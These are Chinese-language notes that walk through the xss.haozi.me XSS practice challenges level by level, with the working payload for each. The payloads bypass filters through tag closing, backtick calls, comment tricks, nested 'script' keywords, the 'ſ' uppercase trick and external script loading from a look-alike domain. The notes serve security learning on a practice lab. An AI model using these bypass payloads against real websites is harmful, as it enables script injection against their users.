实验平台
https://curtails.github.io/xss
https://xss.haozi.me
xss-demo
拼凑所需语句即可不必关心原语句完整性??浏览器容错性??
- 0x00 <script>alert(1)</script>
无任何过滤
- 0x01 </textarea><script>alert(1)</script>
闭合标签
- 0x02 "> <script>alert(1)</script>
闭合标签
- 0x03
<script>alert`1`</script> <svg><script>alert(1)</script>
正则表达式过滤() 用``绕过或实体编码的字符编码
- 0x04 同0x03
<svg><script>alert(1)</script> <iframe onload=alert(1)></iframe>
-
0x05
将-->替换成😀 html注释<!--xxs--->
或<!--xss--!>
payload:--!> <script>alert(1)</script>
-
0x06
过滤auto*****=
或on*****=
替换为_ 可用换行符绕过
onmousemove =alert(1) type=image src onerror =alert(1)
- 0x07
匹配<***>字符串忽略大小写替换为空
<svg/onload=alert(1) //有空格
- 0x08
将</style>
替换成/*坏人*/
在标签>之前加个空格或换行就好了
</style ><script>alert(1)</script> </style ><script>alert(1)</script>
- 0x09
输入要以https://www.segmentfault.com开头 有一种payload是在网站上存在alert(1)js脚本
https://www.segmentfault.com.haozi.me/j.js
- 0x0a
构造符合条件 只能引入外部js
https://www.segmentfault.com.haozi.me/j.js
- 0X0b
标签、域名不区分大小写
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
- 0x0c
正则替换script为空
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>
- 0x0d
换行加单行注释绕过
alert(1) -->
- 0x0e
正则过滤<+英文字母 转化大写
使用ſ
古英语 转换为大写变成S
<ſcript src="https://xss.haozi.me/j.js"></script>
- 0x0f
正则过滤 但是'
解码后仍然是'也就是说这个过滤是不起作用的
闭合括号即可
');alert('1
- 0x10
闭合括号没什么好说的
'';alert(1)
- 0x11
javascript:console.log()js的调试功能 相当于控制台
正则过滤了好多 但也是能直接闭合
"),alert(1)("
- 0x12
直接new个script标签
</script><script>alert`1`;</script><script>
或
\");alert(1)// " 被转义成 \" 经过html解析后里面变成 console.log("\") 会报语法错误, 再补个 \ 即可